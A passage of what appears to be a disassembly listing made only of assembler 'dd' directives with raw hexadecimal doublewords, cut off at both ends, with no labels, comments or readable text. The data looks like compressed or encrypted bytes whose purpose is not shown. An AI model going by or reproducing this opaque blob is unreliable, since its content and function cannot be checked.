35CF61Bh dd 6741DB8Dh, 20A0D34Ch, 1C0152EBh, 0DF094A02h, 0A2804964h dd 0E2F3B347h, 0FE6034Dh, 4828AE30h, 3021B832h, 0F511B659h dd 0D100DD02h, 0FDDF349Ch, 13876EC3h, 0AB8CAh, 0F9B2FEE7h dd 6B011CEFh, 543B0EADh, 8AFC7365h, 4E79009Ah, 0D0504119h dd 0E3C150Dh, 807E3E02h, 0F21D2C0Bh, 0F4EB353h, 0CD9E7BDCh dd 8E640C0h, 641C927Fh, 0D8401118h, 76E8E2A1h, 23170044h dd 2021EF24h, 9F0B87B1h, 59F06Ch, 67EA1B14h, 0A2730019h dd 0C7EB5BEFh, 5D06D608h, 29755953h, 3B9ECD0h, 9A014426h dd 809DC147h, 0B65AAE4Fh, 192F0D30h, 6EA63B8h, 42CA418Dh dd 0B50EE1FEh, 80DCB3A4h, 5E4A2703h, 8B1700D1h, 0C7859631h dd 7A02ACCAh, 0B3AAB458h, 0E4FCC867h, 6D77ABh, 5727F040h dd 61B64D24h, 1A2ADD7Fh, 4600E0B2h, 0AFB86D94h, 1A3C871h dd 0D8FBC58Bh, 0DC8547D3h, 0EE0BA90Bh, 80903731h, 1E622CD8h dd 45730591h, 8092A2A8h, 2EC68D86h, 95510C07h, 6BB0DE36h dd 0EB83A87h, 2DAACA45h, 80398B85h, 28D45AF8h, 2C209F0Eh dd 1F650002h, 0EB21D9h, 86D06333h, 9508B118h, 0B5E89605h dd 7A804502h, 0F0703B5Fh, 82FF039Fh, 0CB29F862h, 55D080F4h dd 0D0EBD76h, 0A3EEA8EAh, 0C893752Ch, 980BB8B2h, 0B1C22C6Ch dd 509D98D0h, 0A6134C41h, 900409Ch, 254AB78Ah, 292100BFh dd 0EC1B8587h, 9326720Eh, 0E102385Ah, 6CB53CCBh, 0ABBA0828h dd 778961F2h, 0B9960049h, 0E71286h, 0D2B5A679h, 1527FD9h dd 44899900h, 0BEB642A5h, 728B1397h, 9E304030h, 0D8AEB4F4h dd 0E5996901h, 9620E8C1h, 9328B092h, 0C9D8BB38h, 6100DE4Eh dd 0F725D9C2h, 3BBEE211h, 0C8FFAADh, 81F2F37Ah, 605267F4h dd 0C0C3D79Dh, 466F08h, 0BFB27021h, 0C5A85AE3h, 0C11680C0h dd 2499F551h, 2184CBh, 97D3DF18h, 700041D4h, 0B791B19Ch dd 1BD1206h, 4BD98B80h, 0CB3AE1E5h, 2776000h, 0F89DF2C3h dd 7BF1030Fh, 32F950F0h, 366FA588h, 0C085F62Ch, 0FB7D8F3Eh dd 0A3801D6Ch, 37E2A0C1h, 0D67F1596h, 6008855h, 0D5026DC3h dd 75542EDAh, 0FB03CBB8h, 580F6BEAh, 0C78BA8h, 3E282519h dd 543351BAh, 0F9644700h, 0C7ADA809h, 45EF007Bh, 5712312Dh dd 20B2C8BFh, 1C4E5E03h, 882C0139h, 0AB04B7h, 0C64A1496h dd 494B7FFAh, 8D48E805h, 86805788h, 0FDEC28h, 456C8177h dd 5018AEFEh, 0E0AD2400h, 0A98C7EF4h, 0F09300E8h, 0EF6D9BDFh dd 9400512Fh, 4C261534h, 390E33D1h, 3203A55Eh, 0F8390C4Ah dd 0ED0F48C8h, 2D4B6200h, 0BA4D1B7Bh, 4790111h, 72DE4AA4h dd 0AC1FD863h, 6C389800h, 0A818ED0Dh, 44B7043Ch, 8207919Ch dd 704055A4h, 154031Bh, 0E300318Ch, 0AA1E612Bh, 12C0E00Ch dd 20B2F5ADh, 9FB16B34h, 0E5009B76h, 165D3062h, 18EB24h dd 1DF0A6DCh, 0F5A470E2h, 0E4C3E800h, 3CDD52A7h, 0E94F012Bh dd 0F676B6C9h, 0EAA840E3h, 8600CED8h, 8175F3A4h, 5C4E2E26h dd 20E1CBFh, 0EC4F4A1Ah, 5FC03460h, 0B400400Eh, 0B9371BEBh dd 0EC250F58h, 4E9B0150h, 5CC2F49Fh, 84785Bh, 43AFC9A0h dd 1E98CEDh, 0DFEA763h, 311CC8E0h, 4F90DBF6h, 9D00BC0Bh dd 9125DF71h, 2453AE92h, 8028380Ah, 0A7017EE6h, 9C5482B3h dd 58003BD4h, 19BE6B33h, 0C0DC8102h, 55EB0CC8h, 67008FD7h dd 83C1BE8h, 1B66D97h, 19B50950h, 0C0F7AC7Ah, 3200CADDh dd 280A3736h, 14F1B78h, 5D1870C9h, 0D88FD43Ch, 0E9014558h dd 0E8B898D8h, 4681DF3h, 48D6C30Fh, 0B7ED100h, 0EE0219F8h dd 0BFE678BBh, 2B6A602Fh, 0D38E000Eh, 0FF97D24Eh, 0E800B68Bh dd 0C0ED1E0Fh, 30B5BFB7h, 0AD38332Ah, 8E004421h, 7E090C5h dd 0BA924Ah, 2D6DFAC9h, 1CBE24D9h, 1BA7C7A0h, 138E7C00h dd 69EA1A3Fh, 251401D6h, 662941EEh, 818DC03Ch, 94013C9Ah dd 0D836AC82h, 58747280h, 0CBD43EC6h, 1F259303h, 0E6DE5DF4h dd 11008C79h, 0D9EB9978h, 0F4E8BE97h, 5B6B00ACh, 45AFF0A9h dd 0F70038BAh, 0D6393DBBh, 0B070DCDFh, 52574829h, 1776BE00h dd 46EF4453h, 74B9A600h, 99813202h, 0B709005Ch, 0EACCD98Eh dd 0A60244CDh, 5EF5528Fh, 0F4E055EFh, 0F400234Dh, 0BAB3B740h dd 21927Dh, 1341A184h, 9A664625h, 0B1E1520Eh, 5F8809Ch dd 0A71F48h, 0D1B51289h, 0AA698542h, 2AE6A000h, 0FA58741Eh dd 0CAD0008Dh, 7025C890h, 37F27D65h, 76EB2801h, 82C55E5Fh dd 0C6EE0EAh, 88540021h, 6C835392h, 0FE90C1D6h, 0F3819800h dd 55A6108Ah, 0C29F009Ch, 52584135h, 942E7B0Eh, 0D3168526h dd 4D4FC000h, 592716h, 0C4A5C9D1h, 0E4424191h, 40A78633h dd 0A04FBF10h, 0D1AB11D4h, 0EC990034h, 8F1CC765h, 7BE04A88h dd 30B88212h, 5A276300h, 9098BDCFh, 4B9F00ECh, 0ED2D75F2h dd 0B9090193h, 0C952B4h, 660E76D4h, 127B001Eh, 0D2634C28h dd 27F8187Dh, 6C452B00h, 0DD8E7ED3h, 7AEA0077h, 7DD06D7Fh dd 0D8037517h, 0F75AE86Ah, 0DF180278h, 0FEC8BA43h, 4936D440h dd 87645358h, 0D2500B04h, 66E1403h, 1793E1C7h, 51FF430h dd 0F4013AB7h, 0C13668AFh, 16FC8270h, 3063E3h, 0FB24C353h dd 0C000DEB4h, 0C578FE36h, 658469h, 0F542E5BCh, 90EBAF1Eh dd 0C63C1898h, 9B5F8095h, 0EBCBE61h, 190600DAh, 0A28F96CFh dd 2F002667h, 0BBC6A19Ch, 39FB4B0h, 7DE045E2h, 57D07321h dd 0AD005B05h, 0BEBDAE66h, 2E7E323Fh, 13FB6Ah, 0CE92457Bh dd 0FC00449Ah dd 25947431h, 51BD7Eh, 50E42052h, 0BC1C2F28h, 80EDAE06h dd 119FF0h, 8F51D11Eh, 977AE8D4h, 4201F6F4h, 0D814EE90h dd 0F5E0EA7Eh, 0D320FDEh, 0A260EFF0h, 0D9A196C6h, 0EB2C360Eh dd 499AC00Fh, 9BC1A9Fh, 26B5F7C8h, 0CF33C100h, 83E00B1Ch dd 2C065816h, 54E510C0h, 1D949463h, 1FA0B96Ch, 60157400h dd 9FAA2F44h, 39960075h, 0CDE30A86h, 14BAE7B5h, 0E0F7158h dd 270660C7h, 0DE67598Ch, 4F684410h, 84E076h, 0F69B9435h dd 0F64400Ch, 42073190h, 3DA50A11h, 0D865B3E0h, 0B00400D2h dd 6092ADF5h, 6600783Ch, 41D721E8h, 0FB5157h, 0A63B853Eh dd 0BC892663h, 0F37F10Eh, 0E9694049h, 18FB170Eh, 0D84AEAF7h dd 23CD9CFh, 7B760057h, 0EF7DAC71h, 0B1E03C5Dh, 84AD7000h dd 0A214E14h, 0A7103Ch, 0FC3B07C6h, 0DA6F797h, 49E671AAh dd 0D6046010h, 62B62901h, 0DEEDB283h, 0C84B5896h, 0E100DA9Ch dd 41FC2491h, 0BA6C5B7Bh, 0D0F207B4h, 41CA4A4Ch, 8F05B0DCh dd 8A1CA331h, 0F981A46Fh, 149A2AAAh, 24A4D0DAh, 403CA0E2h dd 0C30C4ED0h, 0B7023200h, 0A7791630h, 17AD0962h, 3840DE41h dd 0F1009663h, 0B3E05CBAh, 4B2068h, 0B7D1469Ch, 0ECB9FD08h dd 0BF10B600h, 0BD7DFBF0h, 0CA8A082h, 22F71C7Eh, 2FA889FAh dd 9F0C0055h, 7B49759h, 55DFED75h, 0C06D95A0h, 8F71F30Eh dd 0E69E9400h, 10FC8077h, 4C0A70CEh, 7D3E44h, 0FE76C450h dd 8F682745h, 2C5B23Ch, 0CBBAC6FDh, 795CC06Dh, 0C05E4ADCh dd 785580ACh, 3FC1960Bh, 22820B0h, 26AB46h, 9FFA3130h dd 6F59EE6Ah, 7C122226h, 0AFA61B00h, 0D3428Dh, 18348CE5h dd 7F3D4EC6h, 8FD0102h, 58106659h, 80285C28h, 0C7633200h dd 0BFB6D5CCh, 0A0EE240Ch, 769E860h, 5105C671h, 628B41A3h dd 6090711Ch, 69DCBF79h, 0CC30F583h, 2BB1F0CDh, 0A2ECC4h dd 0E2974D87h, 3E894695h, 48D86F1Ch, 395F7A40h, 25666Ah dd 2E4C8498h, 8C8D2D35h, 0D7503Bh, 2C1522B7h, 0F5AC4B9h dd 875FC36Dh, 8E8CEF40h, 2001B837h, 92495B7Eh, 1C602F31h dd 0E7DE00F4h, 0B017FF89h, 0FB124BB9h, 0F082556Dh, 981AC030h dd 3A86004Dh, 0DB5C16CDh, 3813E884h, 9800332Ch, 5E92B18Eh dd 0A7480077h, 88C7C51Ch, 8A78A56Bh, 0FCA083Ch, 0A08BA294h dd 0D046EE4h, 0EE5D00EDh, 0DE3A4873h, 247F98D7h, 0A8858600h dd 80E9D3F2h, 9CA4A06Ch, 0C06BF7BDh, 4CF5F70Ah, 0F98BB00Fh dd 0CEF6A380h, 0F894B83Fh, 0F7F200B6h, 0E65EBDBCh, 61012CA8h dd 41B81DFCh, 1083AA01h, 0F3D26EFBh, 0C218879Ch, 98587574h dd 0D1008D77h, 2310023Ch, 880407h, 844D378Ch, 617E5C4Fh dd 6340281Eh, 5EBC807Eh, 0FFCFB2EEh, 95B0070h, 0C5E5BE75h dd 5207D8C0h, 0D040729Dh, 1D6DAC30h, 0CF79005Eh, 0DFAAF7D3h dd 0B203F5B6h, 0E6348E90h, 0EA33E8B0h, 0BE97EE1h, 651E0DFAh dd 0D341FC00h, 9C0A46E4h, 8692BF4Ch, 8E4ADD00h, 35473CCh dd 0AA3C30FAh, 29048F1Dh, 0C0367A18h, 0BEB4F0h, 3CE9A44Ah dd 8F8335E8h, 0C045F4Ch, 0C4F6877Bh, 0D6E0035Bh, 0BA1CF968h dd 0E4A78E0Eh, 0EBFD0069h, 0F8650462h, 4892FE79h, 5B13C226h dd 2150019h, 0EAB44024h, 23B3D809h, 9664818Ah, 0F0300B11h dd 4D487E84h, 663C24F4h, 0D2AF2B00h, 0F9E543B4h, 0DC8019DDh dd 60060E03h, 6C1139A8h, 30C83600h, 0AE252A7Fh, 6E5C9516h dd 5084C400h, 1627B8h, 0EA1E8758h, 83063282h, 1825AB00h dd 0C35AC7DAh, 355700B4h, 9ECD93B8h, 960053ECh, 0BD5D237Fh dd 58CBF655h, 0F0B60DBh, 75000350h, 2AD50D7Ah, 0EFD0C403h dd 0D0BC0821h, 1FE54BEh, 48901D71h, 0C0A6CE19h, 9C7CB4CFh dd 850392B0h, 8AEFF431h, 20ABB840h, 507B1E58h, 3875C0DAh dd 0C5BED8E6h, 72007CB8h, 0FD89FA4Ah, 0BCE8577h, 0A3F03FCFh dd 70843387h, 8AD548C8h, 0F12BA10Bh, 6930220Eh, 0F6340EBh dd 0D35E0078h, 0DA399383h, 0BC2E8E37h, 3A017CFBh, 493FBF2Dh dd 0A00442Ch, 6532D7A7h, 664C79FCh, 487B0F8Eh, 1440569Dh dd 711505D0h, 96E4002Fh, 0DE519A7Dh, 523D925Ch, 98FA8908h dd 0D9A180EEh, 0B2B1C0h, 0B70BC6FBh, 0FAF59409h, 94EA1A35h dd 28295300h, 4CFBC0FFh, 800964B1h, 74E04C5Ch, 0BA014183h dd 408E0F31h, 0C8EFDF92h, 87E4C3h, 62FEBC4Eh, 0FA9ECEB1h dd 0CBB76F1Eh, 10827C40h, 14CC02EEh, 0A0C45EE2h, 0F37A4F0Fh dd 3C00275Fh, 7C61CD80h, 0F0B32300h, 1F9AAEF9h, 27AF00C0h dd 552A1491h, 6900618Ah, 60F34783h, 3CC231Ch, 0B44C94FDh dd 11E0270Dh, 80002DE7h, 0B12BF401h, 3EC61CD4h, 0FB80F770h dd 0E2DF8789h, 5B75CD3Ch, 89D3D638h, 505EB47Eh, 0FE2A40D4h dd 98004E98h, 78A0FECh, 6ACEFAh, 1C56E8F8h, 0DA339EB2h dd 0EF4FC0Fh, 0CEF0E029h, 0D506BEh, 3AEF6DC7h, 0A44080ADh dd 0E013527h, 0C044C07Ch, 9EFE42h, 0E1F89681h, 0FC36A725h dd 0A0CF6E24h, 0CA5B4281h, 0F0205633h, 11F60080h, 21F9BFA0h dd 61702A34h, 5E6CEA00h, 88858AC6h, 0A08C3E96h, 5BBA1F80h dd 6411BCA9h, 2100EEF8h, 8909F603h, 3FA092h, 5D171E12h dd 7CC125D4h, 21F5A101h, 33B36FD6h, 0E43C0C0h, 95321BB5h dd 0F22340B8h, 7CE13B00h, 81A2FBFAh, 810B4A03h, 0DF56472Ch dd 21E24EA8h, 0F52C5478h, 0C000F48Ah, 0AD5E0C0Fh, 0FAC61D26h dd 7FA4C956h, 2B81B480h, 21003C57h, 0BF7755FFh, 3ACD9CACh dd 178A8626h, 18471A1h, 0ED782C0Ah, 801180E6h, 0A187297Eh dd 747900DCh, 0B44E4C51h, 2007D91h, 21EC1A6Ah, 5B909F1h dd 68CFDA4Ah, 0A3C8E45Fh, 0B100C742h, 0F5D4988Dh, 50F02880h dd 0AE2CE800h, 0B884C9B3h, 0BB4E079Ch, 7C887983h, 0A101F638h dd 0DCA78ED8h, 0F1D4B580h, 63F41E62h, 9EF4089h, 6727B93Ch dd 8DFAF800h, 5E1F5424h, 406800B0h, 0D91110DFh, 0DA4CF374h dd 0FDC71C7Ch, 0FCB57280h, 3A581897h, 46003676h, 0A4BEBB8Ah dd 60129ED5h, 0C01D77DAh, 7D33C49h, 0DE8013F0h, 0B2A51Dh dd 0D0BBA62Bh, 8DAA9C56h, 8C481079h, 2CB00078h, 0E86B8711h dd 0D5E900AFh, 347D823Ah, 3704AD0Fh, 0C3E77131h, 0A0BF9480h dd 0BC1D005Bh, 97A99DF3h, 0AFF0C620h, 757C5A00h, 8147FE8Dh dd 0EECF18FAh, 56F90E6h, 0B9025CB8h, 80932BD9h, 51FC8264h dd 0F8E0FD97h, 0A10027F2h, 9AB9F515h, 44923CBh, 6F7DCA5Ch dd 0F8E4803Ch, 61E3D71Bh, 7CF000DCh, 7EE66B16h, 0D201D5E2h dd 9B7A7622h, 0A0403542h, 0E2CDBFECh, 3E962436h, 6B7E00BCh dd 6E1FB8EDh, 2A669E0Bh, 9DA40042h, 0C067E28Dh, 65758148h dd 3D241E6Ch, 7700B425h, 0FA9D8F30h, 127B0EFDh, 6F202074h dd 0ACE1B3F6h, 98444E0Fh, 0F5FEE0BFh, 4C08763h, 20244BABh dd 74B6FBh, 3D52B789h, 0B3E2C7h, 616C87C1h, 0E017CDBEh dd 9280C01Fh, 0DCB73140h, 0EF5751h, 794136D3h, 0F1575D6h dd 0E9FBC100h, 68BC1C4Eh, 0D7D20056h, 0DC12D1FEh, 0D409A485h dd 83A582FAh, 14EF88h, 0FF606E28h, 0D1317523h, 62AC881Eh dd 0CA1B65C3h, 0D34780B6h, 1F8CF240h, 80781625h, 22A18D87h dd 55865C7h, 0FD2D07CCh, 9829AB0h, 9FC080B4h, 0F7B821h dd 0C1283197h, 83A50A4h, 7D5E1C00h, 847C4272h, 581A0029h dd 20C12354h, 6203522Fh, 73980209h, 971590F5h, 0FE8C90E6h dd 0B5450472h, 0C0254D96h, 5103E3F0h, 0BD62C401h, 0B49C24BFh dd 680CC20h, 26CB0B6Ah dd 0D3002819h, 4157EC6Dh, 25D03F64h, 0F0E10C3Ch, 0D42C5Dh dd 0C19D1F02h, 2F5A5AFh, 44B73B30h, 68608C5Bh, 6DFC5570h dd 3822B403h, 0EF3143A7h, 950E39B0h, 50C1D73h, 0B8570248h dd 0C85876C5h, 4BC42600h, 8E4E75F9h, 0AC8238D3h, 70AD0200h dd 53FF096h, 0CC60DE60h, 3FEEAE7Ch, 1804EB50h, 0C0086A1Ah dd 54B1DB74h, 0CA446800h, 0C22BC7DDh, 6BFB0028h, 0A06CD933h dd 0EC601F35h, 67F10CE4h, 7ACB82Ch, 42D2CCFAh, 32E1E014h dd 0CEE46F78h, 8351CD07h, 355074BEh, 2F9AC093h, 509873F3h dd 50889617h, 46821672h, 53A840BDh, 45AE5232h, 7CEA5F0Fh dd 37926086h, 859CA6h, 3F091ADDh, 0F46C21E4h, 0E3D78E6h dd 7C6880F2h, 0E91FBF85h, 454C1AB3h, 24D8A966h, 131FD378h dd 0C6C0D8B5h, 90B1B8A1h, 8992ABFh, 2F4225D4h, 0BE008465h dd 206D0CF4h, 5C74FB45h, 19AA26E5h, 80CE9D47h, 0B381651Dh dd 0AC0ECCDAh, 0E0F2847Ah, 80D66A07h, 0A0D0488Bh, 1A4218Ah dd 48788194h, 750C20EDh, 7EB69000h, 24C2C898h, 0E0BB4C3Eh dd 3300C43Eh, 85F9F5E2h, 0DF004470h, 517CDB6Ah, 0F5C5FEF4h dd 2AB37D8h, 0FD452E68h, 80C09E95h, 5F00170Bh, 82EF4192h dd 39C0E254h, 658022A8h, 7EFB4979h, 0CE720632h, 0C8F84D00h dd 0A7478B3Ah, 7BF3242Ch, 0FC710018h, 0D842D033h, 0CD0C10C7h dd 72DCFBA1h, 0E9B0216Ah, 8547CCCAh, 8C92B200h, 688E4CFAh dd 2E3490FEh, 3D7FB27h, 5C9A064Bh, 23F192B0h, 0E4877200h dd 0C98EB94Dh, 0DE5ED2h, 5BB5C48h, 0CF012A30h, 20BF1B60h dd 7EE593DAh, 2103C30h, 0CBA04243h, 0C860A54Ch, 391801DEh dd 0D4207D69h, 63BD00E2h, 0F95172ABh, 4C062337h, 0BE394644h dd 0B5C20430h, 0A856AA90h, 99C80E90h, 5392B9h, 6BD4C4A5h dd 0D5F444h, 0AB77872Eh, 2BF212EAh, 810096E0h, 4ACF5CCAh dd 150BF23h, 859E270Ch, 0ECAF481Bh, 6303A9E8h, 0BC1A6C80h dd 89B6E03Bh, 7DCB0C47h, 0F1198BC1h, 3A5D0300h, 4F8A54ACh dd 1BB018D2h, 900E11F5h, 6FDC4400h, 1FCF119Bh, 4E709Eh dd 0EDACB6BFh, 2A99DB6Ch, 7908C700h, 38EC1269h, 31FC02DEh dd 0CCD43EF8h, 0EC4E62C1h, 1700F1E5h, 481C5B66h, 73BDA471h dd 0DF4201CFh, 0C441882Dh, 0E41080C1h, 8A473A86h, 6EFE10h dd 55A11D96h, 517143F5h, 0C3989501h, 31162ABDh, 0D14C30h dd 0E22E02E8h, 703D1220h, 5DEDE900h, 9FF05394h, 17441ECFh dd 9BAD4E27h, 40A5A245h, 8ED76DB8h, 0CD1D3724h, 0F7C0A389h dd 9F8FC126h, 0D8F60180h, 35836FE9h, 0DE2C20D9h, 68ED7A25h dd 1A73640h, 7033DAA5h, 80FB19A6h, 0C3761419h, 0E756713h dd 4F20C23Ch, 0A68B497Eh, 0D3390858h, 0A2510071h, 0D9CDA795h dd 7BEA0597h, 0C1065B64h, 20F828CCh, 3F002EB8h, 5AAEBDF0h dd 1209C0h, 26788050h, 3667BED3h, 750ACC02h, 4BC7EC51h dd 2EBFC028h, 456B25EAh, 7BCF14B8h, 0ECD64726h, 6EBD2500h dd 1CE6B12Ch, 0C34393DCh, 3EA27049h, 0F89660E8h, 1BFB700h dd 0B371DDFEh, 0AB1F006Dh, 6321E873h, 59486BA6h, 0E5FA00DDh dd 2F5A24DCh, 0EEA802DBh, 223F84E0h, 866CFCC0h, 0A727BC90h dd 9BE06098h, 0F89C97B2h, 77D17A00h, 5BD73D84h, 0D9A8A09Dh dd 1BFA0E3Ch, 0FDA0E299h, 6FF09294h, 9CE58D00h, 0BF45C335h dd 9EE107F6h, 80CC0805h, 8A6E1929h, 0EED9909h, 26A8D054h dd 3E5DC316h, 618A283Ch, 80E8DDh, 6EBA2FF9h, 90071D35h dd 0C2645A0Ch, 904C80C3h, 12C43181h, 8A3C5DDh, 0D781FE00h dd 6D2CA9A0h, 0B9F4283Ah, 72997007h, 3E439550h, 0A415A0F2h dd 0BBE726F7h, 0A61D0042h, 66E36701h, 0CE3A29E0h, 0E60C80ECh dd 0A5029C47h, 62D4003Ah, 8FB415E3h, 0C21E8743h, 9C7FABF7h dd 0C4C00A69h, 6E3C98E7h, 0DE430059h, 0B1311A0h, 18AC9BA8h dd 0D97B1A00h, 4FF3D12Fh, 0F1470049h, 54DECB15h, 64001478h dd 0C04A3DCFh, 0AC10ECh, 0F58FD40h, 1EDC9C59h, 0BBD7FB1Ah dd 0E8E1C071h, 0B0656032h, 6B61A5B5h, 0D17F6F72h, 8BFDAF00h dd 561964C4h, 4FDB0070h, 6290B8CDh, 33000EE7h, 3245DDDEh dd 0A3A098h, 73A9BC5Bh, 0CAB127D7h, 0CDF48D02h, 0E003E5D8h dd 6A50BDh, 0E4EFBC36h, 97E8A4A9h, 2A646500h, 42551D1h dd 0E07B000Fh, 0CF37368Ch, 452C10B5h, 0AA00ECD2h, 626FE714h dd 0B0300311h, 0EA202B69h, 6A0170E6h, 14C3E286h, 61DEEB25h dd 44CC7609h, 7FA87B92h, 0C45707B2h, 0F3A7018Fh, 0AAB04EC8h dd 730EC57Dh, 0C0F3B3B7h, 0AE891418h, 0FEDB006Dh, 0C3C7E7E5h dd 0A500C516h, 37054ACBh, 0CC428Dh, 0D7759738h, 814649Eh dd 0E92FDE00h, 980EB17h, 0B6C40081h, 12A19B84h, 96E2F846h dd 454330C1h, 61804C8Dh, 5CB37722h, 0B400CA83h, 0E715D63h dd 0F4C14Fh, 61599212h, 55BA3DE7h, 326DAA00h, 9E73D411h dd 7FEF0769h, 0A163492Bh, 0C8FC1599h, 0B901131Eh, 0FF6446AEh dd 40FEC540h, 0B12F1Ah, 758D9BD0h, 0CB4FC708h, 5200F27Ah dd 5132BFC9h, 14A9BAFAh, 0D4C4EF9Ah, 0A1494202h, 74413920h dd 62BBEC8Fh, 0F50C3D02h, 0C07D55A7h, 441FA7Dh, 869C97F8h dd 6F728042h, 8EA706Ch, 6B53D000h, 0BBB85CD8h, 82910274h dd 0AEDB9831h, 0D7477EC0h, 3772E200h, 0AA346A86h, 161E00FBh dd 23015CCBh, 1F60A365h, 0D4C43D10h, 370300A4h, 64C9E56Eh dd 4B3F8474h, 4A510090h, 0E3B29967h, 222B003Eh, 0B0568834h dd 5000F253h, 0E4EA545Ch, 0BE63D4h, 0FE777F5h, 0CF6C7FE2h dd 8983B00h, 0A1FB3744h, 7C275CE0h, 0B10CB707h, 7FE769h dd 0F01CA666h, 0B93FE500h, 484C8454h, 5CE700FBh, 0EC02129Ch dd 87007F6Ah, 39E0C99Eh, 7FF676CCh, 0EBAF0EFh, 0DBE7806Fh dd 0DCB6980h, 0A71E44AFh, 26006E6Dh, 28AD78BAh, 5091B4h dd 44305941h, 4E03DEF2h, 0B9528156h, 0C39323h, 809CFA68h dd 67C065BDh, 917B1100h, 4412156Dh, 322A1DC2h, 0C64FCh dd 0F7183F87h, 9E00744Dh, 2B0CEFA9h, 0E74B1Dh, 3354D890h dd 650DF62Ah, 7C1E3B00h, 0EC4A7DDDh, 3D4D03CDh, 386AF861h dd 8036103Dh, 9B12662Ch, 0A049D6h, 5D4FFA7Dh, 7AB3EF9Fh dd 80D1F638h, 1BE77253h, 98CEEAh, 2657C613h, 0E9EBEEADh dd 1E87100h, 63E485A3h, 0CE7939D2h, 6B19FC01h, 401015C4h dd 0EF4A0AF0h, 0FF54C0C7h, 0CDB42B93h, 4C3DCF80h, 0D3B530A9h dd 0EF0675E0h, 785FA500h, 6944ACEAh, 7AAA484Dh, 9071B700h dd 3B595443h, 0C8E64600h, 3D0BEADh, 0E850E9Fh, 1D81387Ah dd 0E057555Fh, 0D5003C9Bh, 1228AB4Ah, 2546B9h, 9FFF0186h dd 0E069CB10h, 792B730Ch, 7301085h, 0D03BE375h, 0C19D001Ch dd 3401335Bh, 4538F9C9h, 7ED00EF0h, 822026Bh, 4267A44Ah dd 0C4F9B461h, 23396CCDh, 0B08930B2h, 735FE9D5h, 438500ADh dd 0FA934F86h, 0C5005238h, 7A064256h, 0E4ED255h, 7ED5B5F9h dd 0B48B05h, 8ADA0D90h, 220035BCh, 370BC6D7h, 4859BF64h dd 68005426h, 8D1F2E89h, 0D3EED4CFh, 8281A939h, 0A56F3D05h dd 262C41CAh, 0AEF6D0h, 74EA3E36h, 54230B60h, 805EAA00h dd 0B910E20Eh, 17F50087h, 5BB2A235h, 4C0F226Eh, 0E47A0BC7h dd 88C09C38h, 13DAA92Fh, 49068A5Ah, 68091BA8h, 6C66A803h dd 0D551AC90h, 0FE70E400h, 54CE50B2h, 99470055h, 6F740CDAh dd 92016276h, 3C56770Ah, 90E8BD9Ch, 6371018Ch, 74988523h dd 0A6B7099h, 94BB8124h dd 0E6679000h, 0CD087BEh, 61AC7E49h, 0A50D8610h, 0C29B2C0Ch dd 3E1DE0h, 21F1DE24h, 0B787AC42h, 89940800h, 95F8EDBAh dd 0A7EA16B8h, 71F100F4h, 705773D9h, 0F679E3Ch, 0C48EA98Ch dd 50C0BA4Dh, 1D225DA6h, 8078D306h, 0E8601775h, 8612648Dh dd 2C1E7DFDh, 7EE1FF40h, 92E9E7h, 84D3BD43h, 2B5F8BB2h dd 5A67F20Eh, 0F6DD8006h, 0CA79F0h, 0E0C7A7D8h, 0ACC4B8D5h dd 5032E500h, 0D197AB7Bh, 0E8F2CEh, 0FF1FEB66h, 94C803E7h dd 307F4700h, 3BDEF832h, 7117157h, 8254FE1Fh, 0ABC3C36Fh dd 0FBA4D980h, 81E98800h, 0F909F378h, 0D25F0184h, 535FA95h dd 0DCB4F986h, 0C0E8E708h, 555A1300h, 5B29D5FDh, 22E80035h dd 92B8F04Ah, 3C005FC6h, 0B1395E8Ah, 0AB483Ah, 355D3DECh dd 474C2EFh, 65FBE400h, 0F93187A6h, 661B0029h, 51BF261Ch dd 0D0006B9Ch, 0BCCC291h, 34ECD98h, 0E565D99Eh, 9FB01E3Ch dd 81008D47h, 78714D57h, 2E2BA2h, 0FC29B46Dh, 0A83DA0D5h dd 2A03B5F8h, 14A3D43Bh, 5AFFC002h, 0CE560047h, 3E269905h dd 45044A5Bh, 9E30083Bh, 2BAD5D80h, 77DB00E6h, 2EC8ABA9h dd 2A005F59h, 0D3EC3DEh, 971BBAh, 291D84AFh, 0D4F785E4h dd 0D1F26100h, 2B535EEFh, 864C00CBh, 0BADAEC20h, 0D900E752h dd 0ACD5EE5Ah, 326F20Dh, 5C387185h, 11B85BA4h, 0D4FAB40Ch dd 0AB457F00h, 0E87443D6h, 7EC500AAh, 0F419D0FFh, 0CCE5CDE2h dd 0B50095A0h, 0D6035BF5h, 0DD9855h, 0E3A2BAEEh, 1470F387h dd 0DE1B6007h, 0CC503E75h, 954E91h, 9044CAABh, 165F5409h dd 8022503Ch, 11ED0FD5h, 0B148FE5h, 2ED8693Dh, 849CCA0Ch dd 0B7C01B00h, 177CB275h, 131C0EB0h, 78E08B61h, 60F23B8Dh dd 53CE1E00h, 0C5B016EBh, 0BF911622h, 2994182Dh, 840073E2h dd 0F3AAFC5Eh, 0F1E6E18h, 6EDF0D1h, 0AF020397h, 780776AEh dd 0ADF3BAE3h, 0BDBF004Eh, 0C4C1ACh, 7706D321h, 292643BBh dd 0D3225Ch, 96642DB9h, 0F2D88133h, 8E270C5Bh, 0C6900E4Fh dd 540B9F78h, 0DC0536h, 0C0592BC5h, 8A190935h, 2000866Dh dd 8F998060h, 63617800h, 58919AF1h, 0BC41F11h, 3087FB8Dh dd 0E0D2A229h, 427766E6h, 0DDBD3200h, 0A554F6F4h, 0B0C2002Ch dd 7581E0E1h, 0DB0025A2h, 85EDE6B5h, 943083h, 6557B9Ch dd 87FC4A2Dh, 4DCC571Fh, 188080B7h, 140E8A4h, 0D4E96C0Eh dd 0F24C8F47h, 0C4120887h, 0E894004Dh, 78F4BA45h, 0C9400FA1h dd 52200680h, 206A5A0Bh, 24031F72h, 253C6BF9h, 0C591E8ACh dd 547B03F0h, 0B539D05Ah, 78648003h, 0A349C922h, 50890782h dd 0C090C388h, 5D8C0370h, 750B2F00h, 34E49701h, 0EF8F0040h dd 114C333Bh, 6B63C35Ah, 5C28738h, 2DC15648h, 3C280075h dd 83F34A18h, 52104B00h, 3B2B8CB6h, 0D7D600B4h, 0AA5B7230h dd 9E038B4Ch, 579FC554h, 87FDE84Bh, 1EF5008Ah, 43752BA0h dd 301E8D0h, 25336F3Fh, 1880BE9Eh, 9FA7ED05h, 32006C79h dd 0C160048Ch, 0C9968AF5h, 0FA855620h, 32F407D9h, 0B4EC50A7h dd 6C027E04h, 3FB0D51Eh, 3CE3604Ah, 48936035h, 91E5F5C0h dd 77B40C3h, 4F4DC065h, 15DCF133h, 28BDFD55h, 5B028B05h dd 0D080494Ch, 4950A001h, 0B4804851h, 0CF8709C7h, 30C0898Ch dd 28512925h, 851831F3h, 3DD14CEEh, 670EC04h, 6E2C4E6Ch dd 